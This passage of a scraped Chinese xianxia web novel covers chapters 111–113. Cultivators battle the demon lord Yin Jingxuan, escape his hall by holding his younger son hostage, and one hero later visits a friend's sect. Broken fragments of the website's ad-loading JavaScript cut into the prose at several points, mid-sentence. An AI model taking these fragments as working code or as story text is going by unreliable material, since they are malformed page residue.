尹鸿晔刚挥刀要砍,余光就瞥见了破空而来的音刃,不得不向后一个翻滚避开。再度起身之时,嘴上已经叫道:“什么意思?一打一还叫帮手!” 公仪岭心中丝毫不敢松懈,全神贯注地盯着尹鸿晔的一招一式,根本无暇顾及他说了什么,飞快地闪避着对方的攻势。 尹鸿晔见他只闪避,并不打算反击,手上攻势也越来越猛,逼得公仪岭避无可避。 公仪岭不得不挥剑扛住他的长刀,趁着他露出破绽,反手劈向他的腰间,令尹鸿晔不得不倒退几步,稳住身形。 他看着面前被自己击退的尹鸿晔,镇定自若道:“还以为你有几分本事,我看也不过如此!” “你!” 尹鸿晔见他消极避战,嘴上却依旧不输,一时气极,竟然直接往前丟掷出了自己的长刀,想要以此斩断公仪岭的头颅。 公仪岭脸上表情一瞬间凝固,想要闪避,脚下却像是被钉在原地一样,动弹不得。 这样的姿势,这样的举动,无一不是那个令他后悔至今的模样。 如果他当初没有直接飞出归云,也就不会…… 可是,正是交战之时,怎么能突然走神?等到公仪岭想要反应过来避开,早已避闪不及,那刀锋上寒芒已至,下一秒就能砍断自己的脖子。 “铛!” 千钧一发之际,远处公仪岚甩手飞剑,只听一声兵刃交接的巨响,这才勉强将那柄长刀给挡了下来。 “阿岭——!” 公仪岚一声惊叫,这才把公仪岭的灵识给喊了回来。 公仪岭冷汗直流,脚上一个踉跄,下意识后退了一步。 刚刚那一瞬间,如果不是公仪岚出手的话,恐怕他已经身首异处! 公仪岚差点吓得魂飞魄散,直到看到公仪岭平安无事后,这才松口气,依旧是后怕不已。 他只当公仪岭是因为受了重伤,才会这样力不从心,立刻道:“阿岭,集中注意力,任何时候都不要轻敌!” 随后公仪 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 岚飞身拦在两人中间,对尹鸿晔厉声道:“我弟弟身负重伤,我来跟你打!” 面前的尹鸿晔眼眸微挑:“哦?这是你兄长?兄弟俩长得倒是挺像。不如一起上吧,或许还能和我打个平手!” 公仪岭在心里冷笑一声,心说这人真是自命不凡、狂妄至极!便是他来说不定也只能与大哥打成平手,更不要提其他仙门中人,能摸到他们两人的衣角都算修为不凡,他尹鸿宣竟还敢对着两个人大放厥词? “呸!” 公仪岭毫不客气道:“我劝你放尊重点,不然我怕等下把你打死了还没人收尸!” 公仪岚凝眉,侧身半步挡在公仪岭面前,不容置疑:“阿岭,你退至一旁,我来跟他过招。” 公仪岭抬眼,面前的身着红衣的人稳稳当当持剑战立,没失半点气度。 “大哥!” 公仪岚不等他拦,直接给承悦使了个眼色把公仪岭拉走,随即就亮了兵器,与对面那人开打了。 这两人打得天翻地覆,不可开交,公仪岭就被承悦强行拽走,想要挣脱开回去帮忙,随即猛然看到台上,尹景轩手中凭空多出来一面挂在乌玄木上的幡,紫阳宗的太阳纹在黑紫色的底色上清晰可见,是御魔幡! 公仪岭心头一震,没半点迟疑提着归云冲上。 而另一边燕修远也察觉到了御魔幡的异动,神色凛然,对着旁边的燕煦泽丢下了一句:“照顾好渊儿和你师妹!”说罢就直接跟着公仪岭打了上去。 只可惜,尹景轩一看到下面两个人杀气腾腾地直冲而来,手中魔气汇聚,御魔幡扬起,面前顿时凭空出现了一排妖邪黑气,挡住了公仪岭的去路。 公仪岭的视线被黑雾笼罩,还没意识到哪里不对,燕修远已经面如土色,震天怒喝道:“尹景轩,你这魔头!你到底做了什么?为什么御魔幡里会有这么多百姓的魂魄!” 公仪岭闻言大惊,定睛仔细去看那些黑气,很快就想到了一事,霎时间脸色就变了。 尹景轩微笑道:“你们问我做了什么?我倒还没问你们做了什么呢!难道,从前仙家之人在冀阳城犯下的血案,这么快就被你们给忘了吗?” “不过,我还真是应该谢谢你们,若是没有他这么做的话,这些百姓也不会有这么重的怨气,也不会这么轻易就被我们利用了!” 公仪岭睁大了眼睛,难以置信。 当初冀阳城的百人冢,乃是他们盯着司青筠解开的封印,再将魂魄度化,怎么会……?! 尹景轩看到下面众人震惊的神情,满意道:“没想到吧,你们以为已经度化的魂魄,最后还是回到了我的手中!你们以为,当初我与那位先城主定下的契约,就这么轻易地被作废了吗!” 公仪岭道:“难道,藏元长老也正是知道了这一点,知道了我们将封印解开,放走了魂魄,明白平阴岛届时肯定因为你们力量大增而失守,这才……?” 燕修远冷静道:“不,公仪岭。不论当时你们会不会纵容司青筠解除封印,藏元长老都是非去不可,他一人犯下滔天大罪,必然也得因此遭到惩罚。” “那平阴岛现在……” 公仪岭喃喃说着,几乎不敢去想那边会发生什么动乱。 尹景轩冷笑道:“与其有空担心别人,还是多担心担心自己吧!” 111.对峙玄霄殿 杀机疑四伏(三) 尹景轩说完,那漫天黑气便直冲公仪岭他们而去,将他们两人团团围住。 公仪岭挥剑想要斩灭,然而那些黑色魂魄,却飞速飘了过去,轻轻松松闪避开了他的剑锋。 他手腕一抖,归云瞬间改变方向。剑气扫过,把他身后的几只魂魄都一下子打散开了。 其余的傀儡见他剑招凌厉,登时扑了上去,死死制住了他手中的归云剑,眼看着就要朝公仪岭的胸口打去。 公仪岭咬牙,左手一掌轰出,将面前攻过来的魂魄拍了个粉碎。 燕修远见那些魂魄还咬着他的剑,扇子一翻,在上空掀起一阵狂风,把那些魂魄给吹得七零八落,散开到了不同方位。 “大家小心!” 燕修远见魂魄朝着他们后方冲去,急忙大喊一声,反手也给后面一道风,好帮他们拖延一些时间,腾出手对付这些东西。 随后,纵身飞跃到正座前,想要与那尹景轩过招。 燕修远手中折扇比剑还快,扇骨内飞出几道水刃,直切着尹景轩的咽喉而去! 然而那尹景轩也不是吃素的,手执御魔幡,用那乌玄木一挡,就把水刃给尽数拦了下来。 燕修远见状,又是一道劲风刮过,令御魔幡幡旗飞扬挡住尹景轩的视线,立刻上前伸手抢夺。 可惜,御魔幡自被他炼化以后,便为尹景轩所用,即便燕修远默念法诀想要召回,却也无可奈何,只能眼睁睁看着御魔幡被他收回。 尹景轩手中黑气一散,御魔幡就已经消失不见,取而代之的是他手中一把玄铁制成的大刀。 他手中重刀抬起,瞬间就将燕修远的折扇架住,推到了一旁。 尹景轩手中的重刀也是一把闻名于世的凶器,不仅怨灵缠绕,其刀锋还伤人于无形。燕修远折扇被打歪的同时,自己也受了伤,嘴角涌出血沫,狠狠地瞪着尹景轩。 尹景轩勾唇笑道:“多年不见,你们法修近身打起来还是那么弱,凭你燕修远,也敢上我面前来找死?” 公仪岭见他吃亏,连忙汇聚了自己余下灵气,硬生生用归云接下了他接下来的招式。 两兵交接,瞬间迸发出巨大火花。 公仪岭自知自己现在无法与他拼死一搏,勉力坚持的同时,已经开始飞快谋划起带着燕修远撤退的路线。 他猛然发力,归云剑架着那把凶刀,陡然抬高了几寸,大有直接将它掀翻的趋势。 尹景轩没料到他受此重伤竟然还能使出这么多灵力,眉目一沉,手上魔气顿起,就要重新压制住两人。 就在此时,公仪岭手却突然一松,以肉眼难以捕捉的速度拽起燕修远的衣襟,直接带着他一起撤回了殿下。 而他的归云在那一瞬间,依旧保持着与凶刀对峙的动作,直到公仪岭撤回仙僚身旁,这才重新回到公仪岭手中。 凶刀对面的灵剑在此刻卸力,连带着它顺势一刀狠狠砍在了玄霄殿的石砖地板上,炸飞了上面的石块,露出一道深深的裂痕。 燕修远也没想到公仪岭竟然胆子这么大,手捂胸口,擦去了嘴角的血沫,缓缓道:“你可知道,刚才那一瞬间,如果你稍微慢了一点,恐怕就会被那凶刀砍断了!” “燕宗主,这是我能想到唯一尽快带着您脱身的办法了。” 公仪岭声音微颤,但还是努力镇定道。 他怕吗?他当然怕! 即便是他有十足把握,但在燕婉的意外发生以后,他便无法像从前一样从容有把握地面对这样的魔尊尹景轩。 但公仪岭几乎已经要到极限了,就连殿上还在与敌人交手的其他仙僚,也都难掩疲态。 这最大的原因就是,那些魂魄和傀儡,实在是太多了! 所以,哪怕冒着自己可能被凶兵所伤的风险,他也得把燕修远给带下去。 这里毕竟是别人的地盘,他们此行只有这么一点人,若是一直在此地虚耗下去,恐怕后果不堪设想。 燕修远也明白现在形势不妙,干咳了两声之后,吐掉口中的血沫恨声道:“只可惜没能亲手杀了这魔头,给婉婉报仇,夺回御魔幡!” 公仪岭蓦然听到燕婉的名字,心中一紧,垂眸不语。 眼下殿内只有心无旁骛与尹鸿晔交战的大哥略占上风,打得对方连连后退,其余人被群魔围攻,都显得状态不佳,尤其是燕煦泽那边,他一人分神护着身后两个伤者,已有体力不支之状,只是还在咬牙坚持。 而齐元白,用尽了各种高阶符咒,与纪银灵两厢配合,才勉强应付住了周围的傀儡。 怎么办?现在该怎么办? 公仪岭心乱如麻,强迫着自己镇定下来,回头望着那扇紧闭的大门。 这门看似一攻就破,实则也和偏殿的那扇门一样设有结界。他们不得魔族破结界的办法,便只剩下强攻一条路了。 公仪岭隔空传音,对燕修远道:“燕宗主,事到如今,也只能强攻大门了。只要把结界破开,我们就能离开此地!” 燕修远点头,也对他传音道:“你灵力所剩不多,就让我和公仪宗主试试吧!” 说罢,他闭上眼睛,全身忽然爆发出强盛灵气,周身风声呼啸,朝着殿门处攻去。 与此同时,公仪岭对大哥传音道:“大哥!攻大门!” 公仪岚闻言,紧紧握住彻云剑,用尽全力对着尹鸿晔一扫,将他打翻在地,旋身飞至了殿门前,施法开始击破结界。 尹鸿晔面色一沉,瞬间反应过来他们想做什么。 “快!快拦住他!” 他口吐鲜血,奋力对着旁边的魔族侍卫喊着。 而他们其他人也得到了同样的指示,立刻开始施法掩护,把那些魔族侍卫挡下了。 殿上尹景轩喝道:“想走?没那么容易!”说完就飞了下来,执刀看着面前一众仙人。 纪银灵凝眉吩咐旁边的六弦阁弟子道:“奏曲扰乱他的心神!” 六弦阁弟子不敢怠慢,琴声绕梁不绝,直叫那些魔族侍卫听了痛苦地抱头倒地。 只可惜这样的办法对尹景轩并没有多少作用,他挥刀斩断了面前扰人的符咒,想要朝着破结界的两人狠狠劈去,却被面前的两把剑拦住了去路。 公仪岭和承悦分别控制着自己的灵剑,剑光在空中飞舞,而尹景轩手中的刀也是耍得水泄不通,根本没打算给他们拖延的机会。 尹景轩一声震喝,正打算破开灵剑的防御,就在此时,随着燕修远喊的那声:“成功了!”玄霄殿的大门宛如被风刃摧折的树枝一般,断裂成了无数木头碎片,露出了一个巨大的缺口。 公仪岭眉头松动,如释重负,正想招呼众人快走,却见那烟雾飞尘腾飞的大殿门口,逐渐显露出一个人影。 燕修远没看清是谁,手上又是一阵劲风刮过,直到驱散开了门口的尘土,这才让众人看清楚来人是谁。 公仪岭定睛一看,顿时不知是该高兴还是警惕,只能斜持佩剑,小心防范着变故发生。 殿门口那人手无寸铁,一身黑红衣袍,竟然是尹鸿宣赶了过来! 其他人并不知道尹鸿宣带公仪岭他们前去血池之事,只当是尹鸿宣发现了他们不见,于是赶来大殿兴师问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 罪的。 燕修远眉目一沉,瞬间就把他当做了来阻拦他们离开的人,沉声道:“二殿下,你若是特意赶来阻我们的话,就休怪我们对你不客气了!” 尹鸿宣哪里见过这样的阵仗,顿时被他的气势震慑到了,结结巴巴道:“不,不是!” 只是他们身后的尹景轩,这时候已经破开了灵剑的防御,攻过来了。 燕修远根本没时间再与尹鸿宣多说什么,对身旁众人大喝一声:“先走!” 情况紧急,来不及让他们多思考什么了,好不容易破开口子,若是因为一个手无寸铁的尹鸿宣,而错失良机的话,下一次恐怕就不会有这么好的机会了。 公仪岚不再犹豫,直接带着公仪岭从结界缺口闯了出去。 两人前脚刚离地,那石板地上就被尹景轩使出的术法炸出一个深坑,随后,尹景轩抬手就想重新封住结界,手势刚起,便被承悦的那柄灵剑打断。 “师兄,快走!” 承悦这一下并不能拖延太久,能扰乱他一瞬间已经实属不易,也正是因为他拖延的这一下,终于让所有人都退了出去。 “可以了,承悦!一起走。” 公仪岭强撑着身子,回头伸手把他拉到了身边。等到三人全部出来以后,那结界正好被封了个严严实实。 可是,结界只能拦住他们,并不能拦住尹景轩和尹鸿晔两个人。 尹鸿宣顾不得那么多,直接冲到了大殿门口,跪倒在了尹景轩面前:“爹!求您不要再造杀戮了!如果仙家的人死在我们这里的话……肯定会挑起大战,殃及无辜的!” 尹景轩还未答话,尹鸿晔就已经上前一步将他踢到了一旁:“尹鸿宣,你不要忘了自己的身份!什么时候轮到你来干涉爹的安排了?!竟然还替他们说话!爹真是白养了你这个儿子!” “可是,哥……如果他们死在玄霄殿的话,到时候仙家的人肯定不会放过我们的!届时,恐怕就是生灵涂炭啊!” “逆子!” 尹景轩低下眼眸,终于忍不住呵斥道:“我平日里就是太纵容你,你事事不知,在魔族当个闲散殿下就罢了,我可以睁一只眼闭一只眼!现在,竟然过来还敢忤逆你爹我了?!” “爹……求您了!如果您做的事情还不算太绝的话,仙家肯定不会主动与我们开战的!就这样和平共处……不好吗?” “笑话!我精心布局几十年,轮得到你现在来阻挠我?反正他们的人已经死了三个了,再多死几个又如何?!你以为这些人死后,以其他人如今的能力,能够与我们抗衡吗!” 说罢,也不管尹鸿宣还想要说什么,直接追了出去。 哪知尹鸿宣早已想到,他们两人是不可能听他的话的,动作竟然比他们还快,飞身挡在了公仪岭他们面前,施法设下魔障,将尹景轩的术法给挡了下来。 尹鸿晔简直要被这个弟弟气死:“尹鸿宣,你!” 尹景轩寒声道:“我悉心教导你法术,竟是让你在今日用上的?” “爹!” 一障之隔,尹鸿宣跪在地上拼命给他们磕着头,恳求着他们高抬贵手。 然而,下一秒就脖子上就已经架上了一把灵剑。 公仪岭被承悦的举动弄得一惊:“承悦!” 公仪岚也皱眉道:“承悦?” 可是他们看着承悦坚毅决然的眼神,却又无法对他苛责什么。场上谁人看不出来,尹鸿宣压根没有实权,也打不过殿上他的爹和兄长。 对他们来说,没有什么比手无寸铁的尹鸿宣更适合当人质了。 112.对峙玄霄殿 杀机疑四伏(四) 眼下他们想要离开此地,这恐怕也是唯一的办法了。 尹鸿宣几乎不敢抬头去看是谁架住了他的脖子,身子抖如筛糠,像是做了好久的心里准备,才侧头刚看了一眼。 即使是这样微小的动作,也让脖子上那剑锋往他的皮肤上更加贴近了些。 只一眼,他看清楚了是谁胁迫的他,知道不是自己熟悉的那张面孔后,尹鸿宣竟然松了口气。 承悦看着大殿门口的尹家父子,大吼道:“别乱动,不然我就杀了他!” 纵然尹鸿宣被他叫做逆子,但承悦的想法更为简单,那就是,尹景轩既然能将所有事情瞒着他,让他在玄霄殿当一个闲散殿下,又将他性格养得如此天真呆傻,想必心里还是有这个儿子的。 事实也果然不出他所料,在他说完这句话以后,尹景轩施法的手也缓缓放了下来。 他怒喝道:“你敢!” 尹鸿晔在旁边面色一变,试探道:“父亲,可是鸿宣他……” “那他也是你亲弟弟!” 听到他爹说完这句话,尹鸿晔脸上闪过一丝黯然,也就不再出声了。 尹景轩冷冷看着公仪承悦:“你们若是敢伤我儿子一下,今日就别想活着离开玄霄殿!” 承悦毫不示弱:“魔尊今日若是不让我们离开此地,我们也不会轻易放过他!” 那锐利的剑刃贴着尹鸿宣的脖颈,再用力一点就能划出一道血痕,他从小到大都没见过这阵仗,更别说被人用剑架着脖子了,惊惧道:“别!别!别杀我!” 承悦在他耳边冷声道:“二殿下,我不管你来此地做什么,只要你让我们平安离开这里,我们就不会杀你。” 尹鸿宣颤抖着低声道:“我来这里,就是想救你们出去的。” 公仪岭走到他旁边,轻声道:“形势所逼,二殿下,我们只是想要一条生路,只要尹景轩让我们离开,我们就会放你回去。” 尹鸿宣如鸡啄米般点头:“好,好,公仪兄弟,我一定救你们出去!” 公仪岚听到这个称呼,诧异地望了公仪岭一眼,犹豫片刻后,最终还是没问出口。 承悦得了他的承诺,拽着他从地上起身,对上面的人镇定道:“今日我等贸然来访,回去后定然不忘魔尊是如何的盛情款待,日后想必还有再见的时候,魔尊万金之躯,就不必相送了,等到出了魔界边境,自会将二殿下安全送回。” 尹景轩听到他这不卑不亢的话,竟然大笑出声,一字一句道:“好啊,小仙师们,想来,我们应该很快就能再见面了,到时候,可就别奢望我会放过你们了!” 有了尹鸿宣这个人质在手,整个玄霄殿外的魔族侍卫都不敢对他们轻举妄动,眼看着一群仙家的人扬长而去。 直到他们再也看不到玄霄殿的模样后,公仪岚才示意承悦放下灵剑。 承悦虽有些不放心,转念一想他们这么多人,也不怕尹鸿宣突然变卦跑了,于是便放下了剑,紧紧盯着他。 公仪岚问道:“二殿下,我们萍水相逢,你却如此相帮,究竟是为什么?” 尹鸿宣捂着脖子咳嗽了一阵,才缓缓道:“我知道你们仙家的人,都是不许与我们这些妖邪走得太近的,而我们也是一样,如果不是因为不忍心看见战争发生,我不会这么做。” 公仪岚听完了他的前半句,却是懂了,便也没再追问,只是道了一句:“多谢二殿下了。” 纪银灵忽然道:“二殿下,我的两位师兄,还在你的内殿之中。” 尹鸿宣道:“我过来前,已经叫手下把人带出迷雾林了,出去后就能看见他们了。” 公仪岭问道:“你有什么办法能帮我们出去吗?迷雾林内危险重重,以我们现在的状态,不能再闯一次了,如果再次陷入幻境,恐怕就……” 尹鸿宣道:“没事,你们带着我就行,林子里的东西都认得我身上的气息,不会出手伤人。” 公仪岭明白了,点了点头,没再说话。 如尹鸿宣所说那样,这一次他们进入迷雾林后,便没再遇到任何妖邪,按照他说的小路,只用了半个时辰就穿过了林子。 在林子外,纪银灵拿回了师兄们的尸身,众人便与尹鸿宣告辞。 公仪岭虽然担心他回去以后会不会被罚,但他也现在也没有心力去关心这个了,只嘱托了一句,叫他路上小心。 尹鸿宣离开后,齐元白询问道:“回去以后,在玄霄殿发生的事情定然是要告知抱元门的,想必需得前去商议一番,不知诸位,打算何时启程?” 燕修远看着女儿的尸身,低声道:“还请给我们紫阳宗一些时日,等回去以后,先将燕婉安葬。” 纪银灵也疲惫道:“六弦阁也是一样,如今宗主身亡,我回去总得与他们交代。” 公仪岚道:“有什么我们云灵山能帮上忙的,书信联系我就好,我定然竭力相助。” 简单议完,众人便约定以十日为期,先书信告知抱元门此事,十日后,再前去三化殿找长老商议。 * 迷雾林相别后,公仪岭就着大哥和承悦回到了云灵山中。 他们回去的消息很快就被云灵山上的弟子得知,一群人在山门处守了两日,终于等到了三人归来。 公仪岭因为伤重,回来以后便去寻了药师,在里面的草药温泉里泡了一夜,又足足休息了一日,才稍微恢复了过来。 弟子们热情地迎接他们,云灵山中也如往常一样,除了他们的爹娘不在以外,似乎都没什么改变。 除了…… 公仪岚事务再繁忙,也看出来了自家弟弟的状态很不对。 这种不对,好像是从回到山中开始的,也好像是从玄霄殿上开始的。 公仪岚拿不准主意,于是在第二日闲暇之余,也问了问其他弟子,大致内容就是:公仪岭今日做了什么?公仪岭今日说了什么?公仪岭今日有没有去钓鱼? 众弟子都齐声告诉他,二师兄他今日去后山练了一整日的剑,二师兄他今日什么话都没说,二师兄没有去钓鱼,也没有去做饭。 真是奇了。 公仪岚处理完最后一本文书时已近黄昏,他凝视了窗外空荡荡的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柿子树片刻,起身对旁边的承悦说了一句:“我出去片刻。” 承悦放下手中的算盘,问道:“岚兄,你是要去找阿岭吗?” 公仪岚道:“天色晚了,平常这个时辰他应该会回来喂王八,我去后山路上等一等他。” 承悦点了点头。 从公仪岚的院子出去,走一段路就能到后山小径,而公仪岭每次都会选择这条路下来。 这一次,也不例外。 公仪岚在路口徘徊了一炷香的时间,便等到了步履匆匆回来的公仪岭。 他走上前几步,对公仪岭从容道:“今天迟了一炷香的时间,往日这个时候,你应该已经到王八池了。” 公仪岭在这里看见大哥,也是微微一怔,随即道:“大哥,你怎么来了?” 公仪岚笑道:“我听弟子们说,你一回山中,就破天荒地去后山练了一整日的剑,便特意来此地等一等你。” 公仪岭哑了哑声,才缓缓道:“嗯,我想着,就快打起来了,总该练一练才行。” 公仪岚凝视着他的眼睛,顿了顿,轻松道:“你的招财、进宝和富贵怕是这会儿都等得急了,我们先过去吧。” 公仪岭诧异不已:“大哥……你不是从来不愿去那边的吗?” “我只在你旁边看看,也不会怎么样。再说了,今日我也想尝尝你之前做的鱼汤,你若是晚上闲来无事,可否让我再品鉴下?” 公仪岭讷讷道:“当、当然可以了,大哥。” 两人一路沉默,到了王八池子,公仪岭才像以前那样“嘬嘬嘬”了几声,把招财、进宝和富贵唤了过来。 公仪岚看着他沉默寡言地喂王八,一时间也不知道该从何问起。 他自己本身就不是话多的人,平时在云灵山里,基本上都是公仪岭叽叽喳喳说个不停,直到现在,公仪岚才觉得,这里变得多么的冷清。 公仪岚犹豫了很久,也没有开口,直到公仪岭喂完了最后一块猪肝,才起身对他道:“大哥,这么久没回云灵山了,我怕弟子们没在膳房里准备食材,我们先去看看吧。” 公仪岚道:“好。” 反正他说想喝鱼汤只是一个托词,想找机会跟公仪岭沟通一下,有食材最好,没食材也没关系。 好在弟子们的嘴彻底被养刁了,一年四季都在膳房里准备了食材。公仪岭看着这琳琅满目的食材,反倒瞪大了眼,完全没想到会有这么多。 话不多说,他干脆利落地起锅做汤,顺手还加了几个配菜。 公仪岚看着桌子上满满当当的菜肴,勺了一碗鱼汤放到了公仪岭面前,又勺了一碗放到了自己面前。 公仪岭不知他是什么意思,就道:“大哥,我不饿,你先吃。” 公仪岚不由分说把箸塞到他手中,道:“难得我们一起吃一顿晚膳,阿岭。” 公仪岭叹了口气,还是应了。 只是公仪岚还没喝两口鱼汤,就已经察觉出来味道不对,瞥了一眼食不知味的公仪岭,放下了碗,缓缓说道:“阿岭,你这几天,是不是有什么心事啊?” 113.难觅旧时光 当时道寻常(一) 公仪岭听到他说的话,眼睫微颤,也放下了手中的箸,勉强笑道:“大哥,你又不是不知道我,我能有什么心事?” 公仪岚看着他,轻声道:“旁人看不出来,难道我还看不出来吗?今日你做得这一锅鱼汤,可有往日的三分水平?” 公仪岭顿时哑然。 公仪岚道:“你有心事了,做出来的饭菜自然味道也就变了。阿岭,现在爹娘不在,我们两人是最亲近的人,有什么话是不能与我说的呢?” 公仪岭沉默不语,只是默默盯着面前的鱼汤,像是要把这碗鱼汤盯出一朵花来才罢休。 公仪岚没再说话,静静地在坐旁边等他开口。 等到鱼汤上冒的热气都完全消散了,公仪岭才小声说道:“大哥,等之后你就明白了。” 公仪岚皱眉,刚想问问他是什么意思,公仪岭却又紧接着说了一句:“这几日,山中没什么大事吧?” “并无。” 公仪岭看上去竟然像是松了口气,恳切道:“大哥,这几日,我想去一趟太微山。” 公仪岚怔愣片刻,旋即也明白过来:“你想去找齐元白?” 公仪岭点头,又道:“我想今晚就走,如果赶不及回云灵山的话,届时我会跟着太微山的人一起去三化殿。” 静默许久,公仪岚终是叹了口气,妥协了:“罢了,你现在也长大了,有些事情,你现在不愿意说,我也不勉强。若是那一日,你想通了,愿意说了,再与我说吧。” * 当夜,公仪岭带着归云,孤身离开了。 太微山位于人间皇城以南,云灵山以北的位置,这地方四面都是平原,只有太微山的那几座山头拔地而起,高耸入云,对于公仪岭来说,十分明显,十分好找,只要御剑飞过那一望无际的平地,就差不多能抵达了。 次日临近傍晚之时,他刚落地,便被山门口的弟子给认了出来:“哎,这不是云灵山的公仪岭吗?” “是他,是他,我记得他!上次抱元门烤兔肉还有他呢!” 公仪岭一听,顿时觉得他们亲切了起来,免不了感慨万千:果然是住在同一个院子里的,感情就是不一样,不像紫阳宗那些,每次刚到门口就给他拦下了。 “是我,我来找你们家宗主的。” 那两个守山门的弟子了然:“那我们去跟宗主通传一声。” 公仪岭连忙拉住他们:“哎哎哎,通传就不必了,我自己进去,吓吓他!” 两个守山门的弟子两两对视后便懂了,对他道了一声“请”,恭恭敬敬地迎公仪岭上了山。 虽然公仪岭好几年没来这里了,但以前来的次数并非一次两次,对于太微山早已熟门熟路,很快便到了他们宗门口。 太微山与他们云灵山的宗门口稍有不同,云灵山的宗门口旁边,只设了一块刻了“云灵山”三个大字的嶙峋石头,并没有特意建什么围墙大门之类的,往前走走就能直接看见云灵山大殿,殿前小桥流水,景色一览无余。 而太微山便与其他宗门一样设了四四方方的围墙,围墙中间是一道巨大的圆形拱门,上方的玉质牌匾上篆刻了“太微山”三个字,就连门上的门环,也都是由古玉雕刻成的。 公仪岭来了这么多次,看见这些东西早已习以为常,他的注意力全都被拱门旁边草堆上,那块不知什么时候新加上去的矮石头吸引去了注意力。 矮石头上面端端正正刻了一行字:“符修重地,剑修与狗不得入内。” 甚至为了怕别人误解,还在旁边加了个括号,里面写着:特指公仪岭。 公仪岭看着这块矮石头,无声地笑了笑。 太微山外的结界对他来说形同虚设,公仪岭轻轻一跃便跨过了高墙,轻车熟路地踩在他们屋顶的瓦片上,朝着齐元白房间去了。 幸亏这个时候,太微山的弟子们都已经下了学,不然的话,要是有谁在屋外一看,定然能瞧见屋顶上那飞速移动的青色身影。 巧的是,齐元白这会儿正坐在桌案前忙着,刚敛目按了一会儿自己的太阳穴,再抬眼之时,就见房顶被人揭了瓦片,纵身跳了下来,溅起了一地的符纸。 齐元白都不用看清楚来的是谁,心里就有了数。 他抬手揭下飘到自己脸上的黄符,反手拍到了桌案上,话语中也多了几分无奈:“下次咱们能不能走个正门,别再掀我屋顶了行不?” 公仪岭四下看了看,点评道:“你这房间还是跟之前一样乱,怎么走了这么多天,太微山的弟子也没帮你打扫打扫?” 齐元白叹气,扬手一指门口贴着的几道黄符:“被我封了,他们都进不来。” 公仪岭朝那个方向望了望,看清楚了上面的鬼画符,就道:“这封的……再让他们修习三年都不一定能进来。” “可不是?不过,我防谁也防不住你啊,外面的结界设了跟没设似的。” 公仪岭道:“咱们都认识这么多年了,你喜欢怎么设结界,我还不清楚吗?反正山里无事,顺道过来看看。” 齐元白诧异看着他:“你从前不是最爱待在云灵山里吗,怎么转性了?” 公仪岭勉强笑道:“你当上宗主后我也没过来送个贺礼什么的,这不是想着来你这边慰问慰问呗?” 齐元白本来还以为他特意过来,是有什么要事要交代,听到他这么说,便重新低下了头看手中的书卷:“我还以为你来是有什么事情,要是闲得没事的话,你就在宗门里四处转转吧。” 公仪岭见他不愿意搭理自己了,忙绕过了他的书案道:“齐宗主忙啥呢?今天天气不错,顺便陪我一块出去走走?” 齐元白头都没抬,叹气道:“你自己去,我现在可忙得很。” 他说罢,许久都没听见公仪岭答话,心中略微意外,于是抬眼瞧了瞧,就见公仪岭正趴在他的窗台上看着外边,看上去很不对劲。 齐元白又低头翻了翻自己手里的书卷,犹豫了片刻后,还是放到了书堆上,起身对窗边的人道:“走吧,正好我也忙完了。这个时辰下山,正好还能去城内的酒肆里买点上好的竹叶青。” 公仪岭一听酒名,顿时眼前一亮,回身揽过了他的肩膀:“好啊!” 齐元白挥手就把门口的黄符隐去了,带着他出了门:“晚上本来还有晚课的,咱们可得悄悄出去啊,我去和清鸢说一声,叫她替我看着点就行。” 公仪岭动作一滞,继而自然问道:“你妹妹……现在还好吗?” 他不愿从正门光明正大地进来,说实话,有一部分的原因就是不想遇到齐清鸢。 说是不想遇到,也许更多的还是自己没法面对吧。 说起这个,齐元白表情也很是担心:“回来以后,除了修习的时候能看见她外,其余时间她就把自己关在房间里不出门了。” 公仪岭缓缓点头:“那你找时间与她说一说吧。” 齐清鸢住的地方就在齐元白隔壁,转个弯也就到了。齐元白敲了敲她的房门,在门口叫了叫她的名字,却没有得到应答,就道:“清鸢,我临时有事要下山一趟,晚上弟子们的修习你帮我看着点啊!” 良久,房内才传来极轻的一句:“好。” * 天还没完全黑,夜市小贩就已经开始准备支摊了,整座城星星点点开始亮起暖色灯光,街道两旁是各种茶楼酒馆、作坊当铺,有摊贩的吆喝声,有戏台子传来的唱曲声,尘世喧嚣,熙熙攘攘。 公仪岭极少下山去云灵城中逛夜市,更不用说拉着齐元白逛太微山下的夜市,两个人穿梭在街道中间,公仪岭感受着热热闹闹的氛围,觉得自己好像活过来了一点,暂时忘却了所有烦恼,也就逐渐明白大家为什么喜欢出门逛了。 刚过桥头,公仪岭被旁边小贩的叫卖声吸引了过去。 这小贩的摊子上摆满了各式各样的花灯,模样和颜色虽然与他们在中秋宴上看见的略有不同,但上面的环带 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纹却是一模一样的,便拿起了一个问齐元白:“怎么不是黑色的?你们的灯笼外面不都罩了一层黑纱吗?” 齐元白道:“只有中秋飘上去的灯笼是这样的,平时大家卖的都是五颜六色的,没那么多讲究。” 旁边小贩也是个极会做生意的,见他们有兴趣,立刻满脸堆笑问道:“两位公子,我们家的灯笼,那可是能得上面仙人保佑的!要不要来两个?” 公仪岭失笑道:“平常各城里卖的灯笼可都是普通的灯笼,怎么就能得仙人保佑了?你莫不是看我们年轻,想诓我们吧?” 小贩道:“公子您这是哪里的话?这样的事情,我可不敢乱说!实不相瞒,上次中秋放了河灯祈愿后,第二天我们家许的愿望真的实现了!” 公仪岭见他满脸自豪,也十分配合地惊讶道:“哎哟,真的假的?这么灵啊!” “那可不?我们都说,是仙人看见了我们的愿望,偷偷下来给我们实现啦!”小贩笑道,“自从我把这事情说出去以后,大家就都来买我家的花灯,盼着有一天也能有这样的运气呢!” 齐元白若有所思,问道:“你们家许的是什么愿望?” 小贩就等着他问这个,探过头来神神秘秘道:“这位公子,不瞒你说,刚好中秋前一个月,我娘子摔断了腿,怎么都治不好,于是我就写了愿望,希望我娘子的腿快点好。本来我们也没抱多少希望,你们猜怎么着?仙人真的显灵了,我娘子的腿啊,第二天就好了!” 公仪岭替他高兴道:“哎哟,那可真是太好了!” 